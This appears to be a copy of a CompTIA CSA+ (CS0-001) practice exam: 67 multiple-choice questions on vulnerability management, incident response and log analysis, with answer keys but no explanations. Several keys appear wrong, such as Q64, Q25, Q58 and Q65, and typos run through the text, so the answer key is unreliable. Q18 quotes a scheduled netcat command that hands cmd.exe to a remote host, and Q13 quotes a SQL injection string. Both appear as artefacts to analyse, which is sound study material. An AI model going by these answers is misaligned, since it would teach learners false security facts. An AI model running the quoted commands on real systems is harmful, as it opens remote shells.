CS0-001.139q

Number: CS0-001
Passing Score: 800
Time Limit: 120 min

CS0-001

CompTIA CSA+ Certification Exam

Exam A

QUESTION 1
Which of the following BEST describes the offensive participants in a tabletop exercise?

A. Red team
B. Blue team
C. System administrators

D. Security analysts
E. Operations team

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 2
After analyzing and correlating activity from multiple sensors, the security analyst has determined a group from a high-risk country is responsible for a sophisticated breach of the company network and continuous administration of targeted attacks for the past three months. Until now, the attacks went unnoticed. This is an example of:

A. privilege escalation.
B. advanced persistent threat.
C. malicious insider threat.
D. spear phishing.

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 3
A system administrator who was using an account with elevated privileges deleted a large amount of log files generated by a virtual hypervisor in order to free up disk space. These log files are needed by the security team to analyze the health of the virtual machines. Which of the following compensating controls would help prevent this from reoccurring? (Select two.)

A. Succession planning

B. Separation of duties
C. Mandatory vacation
D. Personnel training
E. Job rotation

Correct Answer: BD
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 4
An organization has recently recovered from an incident where a managed switch had been accessed and reconfigured without authorization by an insider. The incident response team is working on developing a lessons learned report with recommendations. Which of the following recommendations will BEST prevent the same attack from occurring in the future?

A. Remove and replace the managed switch with an unmanaged one.
B. Implement a separate logical network segment for management interfaces.
C. Install and configure NAC services to allow only authorized devices to connect to the network.
D. Analyze normal behavior on the network and configure the IDS to alert on deviations from normal.

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 5
A cybersecurity analyst is reviewing the current BYOD security posture. The users must be able to synchronize their calendars, email, and contacts to a smartphone or other personal device. The recommendation must provide the most flexibility to users. Which of the following recommendations would meet both the mobile data protection efforts and the business requirements described in this scenario?

A. Develop a minimum security baseline while restricting the type of data that can be accessed.
B. Implement a single computer configured with USB access and monitored by sensors.
C. Deploy a kiosk for synchronizing while using an access list of approved users.
D. Implement a wireless network configured for mobile device access and monitored by sensors.

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 6
File integrity monitoring states the following files have been changed without a written request or approved change. The following change has been made:

chmod 777 –Rv /usr

Which of the following may be occurring?

A. The ownership pf /usr has been changed to the current user.
B. Administrative functions have been locked from users.
C. Administrative commands have been made world readable/writable.
D. The ownership of/usr has been changed to the root user.

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 7
A vulnerability scan has returned the following information:

```
Detailed Results
10.10.10.214 (LOTUS-10-214)

Windows Shares
Category: Windows
CVE ID: -
Vendor Ref: -
Bugtraq ID: -
Service Modified - 4.16.2014

Enumeration Results:
print$    C:\windows\system32\spool\drivers
ofcscan   C:\Program Files\Trend Micro\OfficeScan\PCCSRV
Temp      C:\temp
```

Which of the following describes the meaning of these results?

A. There is an unknown bug in a Lotus server with no Bugtraq ID.
B. Connecting to the host using a null session allows enumeration of share names.

C. Trend Micro has a known exploit that must be resolved or patched.
D. No CVE is present, so it is a false positive caused by Lotus running on a Windows server.

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 8
A cybersecurity professional typed in a URL and discovered the admin panel for the e-commerce application is accessible over the open web with the default password. Which of the following is the MOST secure solution to remediate this vulnerability?

A. Rename the URL to a more obscure name, whitelist all corporate IP blocks, and require two-factor authentication.
B. Change the default password, whitelist specific source IP addresses, and require two-factor authentication.
C. Whitelist all corporate IP blocks, require an alphanumeric passphrase for the default password, and require two-factor authentication.
D. Change the username and default password, whitelist specific source IP addresses, and require two-factor authentication. **Correct Answer:** D

Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 9
An organization is requesting the development of a disaster recovery plan. The organization has grown and so has its infrastructure. Documentation, policies, and procedures do not exist. Which of the following steps should be taken to assist in the development of the disaster recovery plan?

A. Conduct a risk assessment.
B. Develop a data retention policy.
C. Execute vulnerability scanning.
D. Identify assets.

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 10

An analyst was tasked with providing recommendations of technologies that are PKI X.509 compliant for a variety of secure functions. Which of the following technologies meet the compatibility requirement? (Select three.)

A. 3DES
B. AES
C. IDEA
D. PKCS
E. PGP
F. SSL/TLS
G. TEMPEST

Correct Answer: BDF
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 11
After completing a vulnerability scan, the following output was noted:

```
CVE-2011-3389
QID 42366 - SSLv3.0 / TLSv1.0 Protocol weak CBC mode Server side vulnerability

Check with:

openssl s_client -connect qualys.jive.mobile.com:443 - tls1 -cipher "AES:CAMELLIA:SEED:3DES:DES"
```

Which of the following vulnerabilities has been identified?

A. PKI transfer vulnerability.
B. Active Directory encryption vulnerability.
C. Web application cryptography vulnerability.
D. VPN tunnel vulnerability.

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 12

A cybersecurity analyst has received the laptop of a user who recently left the company. The analyst types 'history' into the prompt, and sees this line of code in the latest bash history:

```
> for i in seq 255; ping -c 1 192.168.0.$i; done
```

This concerns the analyst because this subnet should not be known to users within the company. Which of the following describes what this code has done on the network?

A. Performed a ping sweep of the Class C network.
B. Performed a half open SYB scan on the network.
C. Sent 255 ping packets to each host on the network.
D. Sequentially sent an ICMP echo reply to the Class C network.

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 13
A security analyst is reviewing IDS logs and notices the following entry:

```
(where email=john@john.com and password='  or 20==20')
```

Which of the following attacks is occurring?

A. Cross-site scripting
B. Header manipulation
C. SQL injection
D. XML injection

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 14
A company that is hiring a penetration tester wants to exclude social engineering from the list of authorized activities. Which of the following documents should include these details?

A. Acceptable use policy
B. Service level agreement
C. Rules of engagement
D. Memorandum of understanding
E. Master service agreement

Correct Answer: C
Section: (none)
Explanation
Explanation/Reference:
Explanation:

QUESTION 15
Due to new regulations, a company has decided to institute an organizational vulnerability management program and assign the function to the security team. Which of the following frameworks would BEST support the program? (Select two.)

A. COBIT
B. NIST
C. ISO 27000 series
D. ITIL
E. OWASP

Correct Answer: BD
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 16
A system administrator recently deployed and verified the installation of a critical patch issued by the company's primary OS vendor. This patch was supposed to remedy a vulnerability that would allow an adversary to remotely execute code from over the network. However, the administrator just ran a vulnerability assessment of networked systems, and each of them still reported having the same vulnerability. Which of the following is the MOST likely explanation for this?

A. The administrator entered the wrong IP range for the assessment.
B. The administrator did not wait long enough after applying the patch to run the assessment.
C. The patch did not remediate the vulnerability.
D. The vulnerability assessment returned false positives.

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 17
A security analyst is creating baseline system images to remediate vulnerabilities found in different operating systems. Each image needs to be scanned before it is deployed. The security analyst must ensure the configurations match industry standard benchmarks and the process can be repeated frequently. Which of the following vulnerability options would BEST create the process requirements?

A. Utilizing an operating system SCAP plugin
B. Utilizing an authorized credential scan
C. Utilizing a non-credential scan
D. Utilizing a known malware plugin

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 18
A cybersecurity analyst is retained by a firm for an open investigation. Upon arrival, the cybersecurity analyst reviews several security logs.

Given the following snippet of code:

```
sc config schedule start auto
net start schedule
at 13:30 ""C:\nc.exe 192.168.0.101 777 -e cmd.exe ""
```


Which of the following combinations BEST describes the situation and recommendations to be made for this situation?

A. The cybersecurity analyst has discovered host 192.168.0.101 using Windows Task Scheduler at 13:30 to runnc.exe; recommend proceeding with the next step of removing the host from the network.
B. The cybersecurity analyst has discovered host 192.168.0.101 to be running thenc.exe file at 13:30 using the auto cron job remotely, there are no recommendations since this is not a threat currently.
C. The cybersecurity analyst has discovered host 192.168.0.101 is beaconing every day at 13:30 using thenc.exe file; recommend proceeding with the next step of
removing the host from the network.
D. The security analyst has discovered host 192.168.0.101 is a rogue device on the network, recommend proceeding with the next step of removing the host from the network.

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 19
In order to meet regulatory compliance objectives for the storage of PHI, vulnerability scans must be conducted on a continuous basis. The last completed scan of the network returned 5,682 possible vulnerabilities. The Chief Information Officer (CIO) would like to establish a remediation plan to resolve all known issues. Which of the following is the BEST way to proceed?

A. Attempt to identify all false positives and exceptions, and then resolve all remaining items.
B. Hold off on additional scanning until the current list of vulnerabilities have been resolved.
C. Place assets that handle PHI in a sandbox environment, and then resolve all vulnerabilities.
D. Reduce the scan to items identified as critical in the asset inventory, and resolve these issues first.

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 20
A security analyst has been asked to remediate a server vulnerability. Once the analyst has located a patch for the vulnerability, which of the following should happen NEXT?

A. Start the change control process.
B. Rescan to ensure the vulnerability still exists.
C. Implement continuous monitoring.
D. Begin the incident response process.

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 21
A recent vulnerability scan found four vulnerabilities on an organization's public Internet-facing IP addresses. Prioritizing in order to reduce the risk of a breach to the organization, which of the following should be remediated FIRST?

A. A cipher that is known to be cryptographically weak.
B. A website using a self-signed SSL certificate.
C. A buffer overflow that allows remote code execution.
D. An HTTP response that reveals an internal IP address.

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 22
A system administrator has reviewed the following output:

```
#nmap server.local
Nmap scan report for server.local (10.10.2.5)
Host is up (0.3452354s latency)
Not shown:997 closed ports

PORT      STATE     Service
22/tcp    open      ssh
80/tcp    open      http

#nc server.local 80
220 server.local Company SMTP server (Postfix/2.3.3)
#nc server.local 22
SSH-2.0-OpenSSH_7.1p2 Debian-2
#
```


Which of the following can a system administrator infer from the above output?
A. The company email server is running a non-standard port.
B. The company email server has been compromised.
C. The company is running a vulnerable SSH server.
D. The company web server has been compromised.

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 23

An analyst finds that unpatched servers have undetected vulnerabilities because the vulnerability scanner does not have the latest set of signatures. Management directed the security team to have personnel update the scanners with the latest signatures at least 24 hours before conducting any scans, but the outcome is unchanged. Which of the following is the BEST logical control to address the failure?

A. Configure a script to automatically update the scanning tool.
B. Manually validate that the existing update is being performed.
C. Test vulnerability remediation in a sandbox before deploying.
D. Configure vulnerability scans to run in credentialed mode.

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 24
A cybersecurity analyst has received an alert that well-known “call home” messages are continuously observed by network sensors at the network boundary. The proxy firewall successfully drops the messages. After determining the alert was a true positive, which of the following represents the MOST likely cause?

A. Attackers are running reconnaissance on company resources.
B. An outside command and control system is attempting to reach an infected system.
C. An insider is trying to exfiltrate information to a remote network.
D. Malware is running on a company system.

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 25
After scanning the main company’s website with the OWASP ZAP tool, a cybersecurity analyst is reviewing the following warning:

```
The AUTOCOMPLETE output is not disabled in HTML FORM/INPUT
containing password type input. Passwords may be stored in
browsers and retrieved.
```

The analyst reviews a snippet of the offending code:

```
<form action="authenticate.php">
     Username:<br>
     <input type="text" name="username" value="" autofocus><br>
     Password: <br>
     <input type="password" name="passwword" value="" maxlength="32"><br>
     <input type="submit" value="submit">
</form>
```

Which of the following is the BEST course of action based on the above warning and code snippet?

A. The analyst should implement a scanner exception for the false positive.
B. The system administrator should disable SSL and implement TLS.
C. The developer should review the code and implement a code fix.
D. The organization should update the browser GPO to resolve the issue.

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 26
Which of the following commands would a security analyst use to make a copy of an image for forensics use?

A. dd
B. wget
C. touch
D. rm

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 27

An organization wants to remediate vulnerabilities associated with its web servers. An initial vulnerability scan has been performed, and analysts are reviewing the results. Before starting any remediation, the analysts want to remove false positives to avoid spending time on issues that are not actual vulnerabilities. Which of the following would be an indicator of a likely false positive?

A. Reports show the scanner compliance plug-in is out-of-date.
B. Any items labeled 'low' are considered informational only.
C. The scan result version is different from the automated asset inventory.
D. 'HTTPS' entries indicate the web page is encrypted securely.

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 28
Company A permits visiting business partners from Company B to utilize Ethernet ports available in Company A's conference rooms. This access is provided to allow partners the ability to establish VPNs back to Company B's network. The security architect for Company A wants to ensure partners from Company B are able to gain direct Internet access from available ports only, while Company A employees can gain access to the Company A internal network from those same ports. Which of the following can be employed to allow this?

A. ACL
B. SIEM
C. MAC
D. NAC
E. SAML

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:

QUESTION 29
The new Chief Technology Officer (CTO) is seeking recommendations for network monitoring services for the local intranet. The CTO would like the capability to monitor all traffic to and from the gateway, as well as the capability to block certain content. Which of the following recommendations would meet the needs of the organization?

A. Recommend setup of IP filtering on both the internal and external interfaces of the gateway router.
B. Recommend installation of an IDS on the internal interface and a firewall on the external interface of the gateway router.

C. Recommend installation of a firewall on the internal interface and a NIDS on the external interface of the gateway router.
D. Recommend installation of an IPS on both the internal and external interfaces of the gateway router.

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 30
Which of the following remediation strategies are MOST effective in reducing the risk of a network-based compromise of embedded ICS? (Select two.)

A. Patching
B. NIDS
C. Segmentation
D. Disabling unused services
E. Firewalling

Correct Answer: CD
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 31
An analyst is observing unusual network traffic from a workstation. The workstation is communicating with a known malicious site over an encrypted tunnel. A full antivirus scan with an updated antivirus signature file does not show any sign of infection. Which of the following has occurred on the workstation?

A. Zero-day attack
B. Known malware attack
C. Session hijack
D. Cookie stealing

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 32

A threat intelligence feed has posted an alert stating there is a critical vulnerability in the kernel. Unfortunately, the company's asset inventory is not current. Which of the following techniques would a cybersecurity analyst perform to find all affected servers within an organization?

A. A manual log review from data sent to syslog
B. An OS fingerprinting scan across all hosts
C. A packet capture of data traversing the server network
D. A service discovery scan on the network

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 33
A cybersecurity analyst traced the source of an attack to compromised user credentials. Log analysis revealed that the attacker successfully authenticated from an unauthorized foreign country. Management asked the security analyst to research and implement a solution to help mitigate attacks based on compromised passwords. Which of the following should the analyst implement?

A. Self-service password reset
B. Single sign-on
C. Context-based authentication
D. Password complexity

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 34
A technician is running an intensive vulnerability scan to detect which ports are open to exploit. During the scan, several network services are disabled and production is affected. Which of the following sources would be used to evaluate which network service was interrupted?

A. Syslog
B. Network mapping
C. Firewall logs
D. NIDS

Correct Answer: A

Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 35
During a routine review of firewall logs, an analyst identified that an IP address from the organization's server subnet had been connecting during nighttime hours to a foreign IP address, and had been sending between 150 and 500 megabytes of data each time. This had been going on for approximately one week, and the affected server was taken offline for forensic review. Which of the following is MOST likely to drive up the incident's impact assessment?

A. PII of company employees and customers was exfiltrated.
B. Raw financial information about the company was accessed.
C. Forensic review of the server required fall-back on a less efficient service.
D. IP addresses and other network-related configurations were exfiltrated.
E. The local root password for the affected server was compromised.

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 36
A security analyst is performing a forensic analysis on a machine that was the subject of some historic SIEM alerts. The analyst noticed some network connections utilizing SSL on non-common ports, copies of svchost.exe and cmd.exe in %TEMP% folder, and RDP files that had connected to external IPs. Which of the following threats has the security analyst uncovered?

A. DDoS
B. APT
C. Ransomware
D. Software vulnerability

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 37
A threat intelligence analyst who works for a technology firm received this report from a vendor.

"There has been an intellectual property theft campaign executed against organizations in the technology industry. Indicators for this activity are unique to each intrusion. The information that appears to be targeted is R&D data. The data exfiltration appears to occur over months via uniform TTPs. Please execute a defensive operation regarding this attack vector."

Which of the following combinations suggests how the threat should MOST likely be classified and the type of analysis that would be MOST helpful in protecting against this activity?

A. Polymorphic malware and secure code analysis
B. Insider threat and indicator analysis
C. APT and behavioral analysis
D. Ransomware and encryption

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 38
After running a packet analyzer on the network, a security analyst has noticed the following output:

```
11:52:04  10.10.10.65.39769 > 192.168.50.147.80;
S 2585925862:2585925862(0) win 4096 (ttl 29, id 48666)

11:52:04  10.10.10.65.39769 > 192.168.50.147.81;
S 2585925862:2585925862(0) win 4096 (ttl 29, id 65179)

11:52:04  10.10.10.65.39769 > 192.168.50.147.83;
S 2585925862:2585925862(0) win 4096 (ttl 29, id 42056)

11:52:04  10.10.10.65.39769 > 192.168.50.147.82;
S 2585925862:2585925862(0) win 4096 (ttl 29, id 41568)
```

Which of the following is occurring?

A. A ping sweep
B. A port scan
C. A network map
D. A service discovery

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:
Explanation:

QUESTION 39
A network technician is concerned that an attacker is attempting to penetrate the network, and wants to set a rule on the firewall to prevent the attacker from learning which IP addresses are valid on the network. Which of the following protocols needs to be denied?

A. TCP
B. SMTP
C. ICMP
D. ARP

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 40
A database administrator contacts a security administrator to request firewall changes for a connection to a new internal application.
The security administrator notices that the new application uses a port typically monopolized by a virus.
The security administrator denies the request and suggests a new port or service be used to complete the application's task.
Which of the following is the security administrator practicing in this example?

A. Explicit deny
B. Port security
C. Access control lists
D. Implicit deny

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 41
A network administrator is attempting to troubleshoot an issue regarding certificates on a secure website.

During the troubleshooting process, the network administrator notices that the web gateway proxy on the local network has signed all of the certificates on the local machine.
Which of the following describes the type of attack the proxy has been legitimately programmed to perform?

A. Transitive access
B. Spoofing
C. Man-in-the-middle
D. Replay

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 42
Using a heuristic system to detect an anomaly in a computer's baseline, a system administrator was able to detect an attack even though the company signature based IDS and antivirus did not detect it. Further analysis revealed that the attacker had downloaded an executable file onto the company PC from the USB port, and executed it to trigger a privilege escalation flaw. Which of the following attacks has MOST likely occurred?

A. Cookie stealing
B. Zero-day
C. Directory traversal
D. XML injection

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 43
A project lead is reviewing the statement of work for an upcoming project that is focused on identifying potential weaknesses in the organization's internal and external network infrastructure. As part of the project, a team of external contractors will attempt to employ various attacks against the organization. The statement of work specifically addresses the utilization of an automated tool to probe network resources in an attempt to develop logical diagrams indication weaknesses in the infrastructure.
The scope of activity as described in the statement of work is an example of:

A. session hijacking
B. vulnerability scanning

C. social engineering
D. penetration testing
E. friendly DoS

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:

QUESTION 44
An application development company released a new version of its software to the public. A few days after the release, the company is notified by end users that the application is notably slower, and older security bugs have reappeared in the new release. The development team has decided to include the security analyst during their next development cycle to help address the reported issues. Which of the following should the security analyst focus on to remedy the existing reported problems?

A. The security analyst should perform security regression testing during each application development cycle.
B. The security analyst should perform end user acceptance security testing during each application development cycle.
C. The security analyst should perform secure coding practices during each application development cycle.
D. The security analyst should perform application fuzzing to locate application vulnerabilities during each application development cycle.

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 45
A security administrator determines several months after the first instance that a local privileged user has been routinely logging into a server interactively as “root” and browsing the Internet. The administrator determines this by performing an annual review of the security logs on that server. For which of the following security architecture areas should the administrator recommend review and modification? (Select TWO).

A. Log aggregation and analysis
B. Software assurance
C. Encryption
D. Acceptable use policies
E. Password complexity
F. Network isolation and separation

Correct Answer: AD
Section: (none)
Explanation

Explanation/Reference:

QUESTION 46
Which of the following principles describes how a security analyst should communicate during an incident?

A. The communication should be limited to trusted parties only.
B. The communication should be limited to security staff only.
C. The communication should come from law enforcement.
D. The communication should be limited to management only.

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 47
A security analyst has determined that the user interface on an embedded device is vulnerable to common SQL injections. The device is unable to be replaced, and the software cannot be upgraded. Which of the following should the security analyst recommend to add additional security to this device?

A. The security analyst should recommend this device be placed behind a WAF.
B. The security analyst should recommend an IDS be placed on the network segment.
C. The security analyst should recommend this device regularly export the web logs to a SIEM system.
D. The security analyst should recommend this device be included in regular vulnerability scans.

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 48
A security analyst is performing a review of Active Directory and discovers two new user accounts in the accounting department. Neither of the users has elevated permissions, but accounts in the group are given access to the company's sensitive financial management application by default. Which of the following is the BEST course of action?

A. Follow the incident response plan for the introduction of new accounts
B. Disable the user accounts
C. Remove the accounts' access privileges to the sensitive application
D. Monitor the outbound traffic from the application for signs of data exfiltration
E. Confirm the accounts are valid and ensure role-based permissions are appropriate

Correct Answer: E
Section: (none)
Explanation

Explanation/Reference:

QUESTION 49
Several users have reported that when attempting to save documents in team folders, the following message is received:

```
The File Cannot Be Copied or Moved - Service Unavailable.
```

Upon further investigation, it is found that the syslog server is not obtaining log events from the file server to which the users are attempting to copy files. Which of the following is the MOST likely scenario causing these issues?

A. The network is saturated, causing network congestion
B. The file server is experiencing high CPU and memory utilization
C. Malicious processes are running on the file server
D. All the available space on the file server is consumed

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 50
Which of the following is MOST effective for correlation analysis by log for threat management?

A. PCAP
B. SCAP
C. IPS
D. SIEM

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:

QUESTION 51
A cybersecurity analyst has been asked to follow a corporate process that will be used to manage vulnerabilities for an organization. The analyst notices the policy has not been updated in three years. Which of the following should the analyst check to ensure the policy is still accurate?

A. Threat intelligence reports
B. Technical constraints
C. Corporate minutes
D. Governing regulations

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 52
Which of the following policies BEST explains the purpose of a data ownership policy?

A. The policy should describe the roles and responsibilities between users and managers, and the management of specific data types.
B. The policy should establish the protocol for retaining information types based on regulatory or business needs.
C. The policy should document practices that users must adhere to in order to access data on the corporate network or Internet.
D. The policy should outline the organization's administration of accounts for authorized users to access the appropriate data.

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:

QUESTION 53
Which of the following represent the reasoning behind careful selection of the timelines and time-of-day boundaries for an authorized penetration test? (Select TWO).

A. To schedule personnel resources required for test activities
B. To determine frequency of team communication and reporting
C. To mitigate unintended impacts to operations
D. To avoid conflicts with real intrusions that may occur
E. To ensure tests have measurable impact to operations

Correct Answer: AC
Section: (none)
Explanation

Explanation/Reference:

QUESTION 54
Various devices are connecting and authenticating to a single evil twin within the network. Which of the following are MOST likely being targeted?

A. Mobile devices
B. All endpoints
C. VPNs
D. Network infrastructure
E. Wired SCADA devices

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:
Reference: http://www.corecom.com/external/livesecurity/eviltwin1.htm

QUESTION 55
As part of the SDLC, software developers are testing the security of a new web application by inputting large amounts of random data. Which of the following types of testing is being performed?

A. Fuzzing
B. Regression testing
C. Stress testing
D. Input validation

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 56
A production web server is experiencing performance issues. Upon investigation, new unauthorized applications have been installed and suspicious traffic was sent through an unused port. Endpoint security is not detecting any malware or virus. Which of the following types of threats would this MOST likely be classified as?

A. Advanced persistent threat
B. Buffer overflow vulnerability
C. Zero day
D. Botnet

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:
QUESTION 57
When reviewing network traffic, a security analyst detects suspicious activity:

```
110 172.150.200.129 TCP    1140 > 443 [SYN] Seq=0 Win=15901 Len=0 MSS=1460 SACK_PERM=1
111 172.150.200.129 TCP    1140 > 443 [ACK] Seq=1 ACK=1 Win=15091 Len=0
112 172.150.200.129 SSLv2  Client Hello
113 172.150.200.129 TCP    [TCP Dup ACK 112#1] 1140 > 443 [ACK] Seq=81 ACK=1 Win=15091
114 172.150.200.129 SSLv2  [TCP Retransmission] Client Hello
115 172.150.200.129 TCP    [TCP Dup ACK 114#1] 1140 > 443 [ACK] Seq=81 ACK=1 Win=15091
120 172.150.200.129 TCP    [TCP Dup ACK 114#2] 1140 > 443 [ACK] Seq=81 ACK=1 Win=15091
122 172.150.200.129 SSLv2  [TCP Retransmission] Client Hello
```

Based on the log above, which of the following vulnerability attacks is occurring?

A. ShellShock
B. DROWN
C. Zeus
D. Heartbleed
E. POODLE

Correct Answer: E

Section: (none)
Explanation

Explanation/Reference:

QUESTION 58
An analyst was testing the latest version of an internally developed CRM system. The analyst created a basic user account. Using a few tools in Kali's latest distribution, the analyst was able to access configuration files, change permissions on folders and groups, and delete and create new system objects. Which of the following techniques did the analyst use to perform these unauthorized activities?

A. Impersonation
B. Privilege escalation
C. Directory traversal
D. Input injection

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 59
Following a recent security breach, a post-mortem was done to analyze the driving factors behind the breach. The cybersecurity analysis discussed potential impacts, mitigations, and remediations based on current events and emerging threat vectors tailored to specific stakeholders. Which of the following is this considered to be?

A. Threat intelligence
B. Threat information
C. Threat data
D. Advanced persistent threats

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 60
During a web application vulnerability scan, it was discovered that the application would display inappropriate data after certain key phrases were entered into a webform connected to a SQL database server. Which of the following should be used to reduce the likelihood of this type of attack returning sensitive data?

A. Static code analysis
B. Peer review code
C. Input validation
D. Application fuzzing

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:
QUESTION 61
A SIEM analyst noticed a spike in activities from the guest wireless network to several electronic health record (EHR) systems. After further analysis, the analyst discovered that a large volume of data has been uploaded to a cloud provider in the last six months. Which of the following actions should the analyst do FIRST?

A. Contact the Office of Civil Rights (OCR) to report the breach
B. Notify the Chief Privacy Officer (CPO)
C. Activate the incident response plan
D. Put an ACL on the gateway router

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:

QUESTION 62
Given the following access log:

```
access_log: 10.1.1.3 - -[66.66.132.6 -100] "Get
/js/query-ui/js/?a.aspectRatio:this.originalSize.height%7c%7c1%3ba=e(HTTP/1.1" 403 22

access_log: 10.1.1.3 - -[66.66.132.6 -100] "Get /js/query-ui/js/?a.aspectRatio:this.originalSize.height | |
1;a=e( HTTP/1.1" 303 333

access_log: 10.1.1.3 - -[66.66.132.6 -100] "Get /scripts/query-ui/js/J);F.optgroup=F .option;F .tbody=F
.tfoot=F .colorgroup=F .caption=F .thread;F .th=F .td;if (!c.support.htmlSerialize)F._default=(1, HTTP/1.1"
403 338
```

Which of the following accurately describes what this log displays?

A. A vulnerability in jQuery
B. Application integration with an externally hosted database
C. A vulnerability scan performed from the Internet
D. A vulnerability in Javascript

Correct Answer: C
Section: (none)
Explanation

Explanation/Reference:

QUESTION 63
A company has been a victim of multiple volumetric DoS attacks. Packet analysis of the offending traffic shows the following:

```
09:23:45.058939 IP 192.168.1.1:2562 > 170.43.30.4:0 Flags[], seq 1887775210:1887776670, win 512, length 1460
09:23:45.058940 IP 192.168.1.1:2563 > 170.43.30.4:0 Flags[], seq 1887775211:1887776671, win 512, length 1460
09:23:45.058941 IP 192.168.1.1:2564 > 170.43.30.4:0 Flags[], seq 1887775212:1887776672, win 512, length 1460
09:23:45.058942 IP 192.168.1.1:2565 > 170.43.30.4:0 Flags[], seq 1887775213:1887776673, win 512, length 1460
```


Which of the following mitigation techniques is MOST effective against the above attack?

A. The company should contact the upstream ISP and ask that RFC1918 traffic be dropped.
B. The company should implement a network-based sinkhole to drop all traffic coming from 192.168.1.1 at their gateway router.
C. The company should implement the following ACL at their gateway firewall:
`DENY IP HOST 192.168.1.1 170.43.30.0/24.`
D. The company should enable the DoS resource starvation protection feature of the gateway NIPS.

Correct Answer: A
Section: (none)
Explanation

Explanation/Reference:

QUESTION 64
A business-critical application is unable to support the requirements in the current password policy because it does not allow the use of special characters. Management does not want to accept the risk of a possible security incident due to weak password standards. Which of the following is an appropriate means to limit the risks related to the application?

A. A compensating control
B. Altering the password policy

C. Creating new account management procedures
D. Encrypting authentication traffic

Correct Answer: D
Section: (none)
Explanation

Explanation/Reference:

QUESTION 65
A threat intelligence analyst who works for a financial services firm received this report:

"There has been an effective waterhole campaign residing at www.bankfinancecompsoftware.com. This domain is delivering ransomware. This ransomware variant has been called "LockMaster" by researchers due to its ability to overwrite the MBR, but this term is not a malware signature. Please execute a defensive operation regarding this attack vector."

The analyst ran a query and has assessed that this traffic has been seen on the network. Which of the following actions should the analyst do NEXT? (Select TWO).

A. Advise the firewall engineer to implement a block on the domain
B. Visit the domain and begin a threat assessment
C. Produce a threat intelligence message to be disseminated to the company
D. Advise the security architects to enable full-disk encryption to protect the MBR
E. Advise the security analysts to add an alert in the SIEM on the string "LockMaster"
F. Format the MBR as a precaution

Correct Answer: BD
Section: (none)
Explanation

Explanation/Reference:

QUESTION 66
The Chief Information Security Officer (CISO) has asked the security staff to identify a framework on which to base the security program. The CISO would like to achieve a certification showing the security program meets all required best practices. Which of the following would be the BEST choice?

A. OSSIM
B. SDLC C. SANS
D. ISO

Correct Answer: D

Section: (none)
Explanation

Explanation/Reference:

QUESTION 67
A cybersecurity analyst has identified a new mission-essential function that utilizes a public cloud-based system. The analyst needs to classify the information processed by the system with respect to CIA. Which of the following should provide the CIA classification for the information?

A. The cloud provider
B. The data owner
C. The cybersecurity analystD. The system administrator

Correct Answer: B
Section: (none)
Explanation

Explanation/Reference:

QUESTION 68
